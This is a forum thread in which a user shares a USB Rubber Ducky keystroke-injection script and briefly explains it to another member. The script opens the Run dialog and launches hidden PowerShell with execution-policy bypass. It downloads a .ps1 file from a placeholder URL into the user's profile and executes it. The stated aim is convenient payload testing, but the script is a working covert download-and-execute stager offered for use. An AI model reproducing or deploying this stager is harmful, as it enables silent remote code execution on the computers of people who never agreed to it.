Vivaldi Posted October 3, 2021 Share Posted October 3, 2021 Hey guys, I just got my rubber ducky and got tired of having to open up my Rubber Duck and transferring the SD card around to test scripts. So I made a little one liner to download and run a .ps1 script. It creates a temp folder in the user's directory and downloads the script to the newly created folder through Invoke-WebRequest. Because some websites will consider Net.Webclient to be a bot and will refuse the request. And then it will simply execute the downloaded script. REM Downoad and execute script DELAY 1000 GUI r DELAY 200 STRING powershell -NoP -NonI -W h -Exec Bypass md "$env:userprofile\temp"; iwr "<YOUR URL>/1.ps1" -outfile "$env:userprofile\temp\1.ps1"; cd $env:userprofile\temp; sleep 5; & .\1.ps1 DELAY 10 ENTER Edit: I've shaved off some characters off of the parameters. 'Cause shortest scripts are bestest scripts! Link to comment Share on other sites More sharing options...
SpragginsDesigns Posted October 14, 2021 Share Posted October 14, 2021 What exactly does this do? I also get extremely tired of opening it up and putting the MicroSD card in my Bash Bunny Mark II to change inject.bin and duckycode.txt files. I have written and rewritten so many and have so many stored on a Google Drive link for everyone and myself, but it does get annoying AF. Any hardware workaround to this? I know the button you hold down on the ducky before you insert it, but that was to flash the TwinDuck firmware on once. Does that put it in Mass Storage Mode too? Either way, I hope this script sets it in Mass Storage Mode. Otherwise, I would love to know how to easily swap out the MicroSD for scripts. I will try this out when I have some time. Thanks. Link to comment Share on other sites More sharing options...
Vivaldi Posted October 17, 2021 Author Share Posted October 17, 2021 This script simply downloads an external script (let's say you have one on your google drive or your website) and downloads through Invoke-WebRequest and executes the downloaded script. Which means you can adjust and upload the script again if it doesn't work properly. For this ducky script I named the script "1.ps1". So as long as you name the new/adjusted script "1.ps1" it will download and run that one. Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.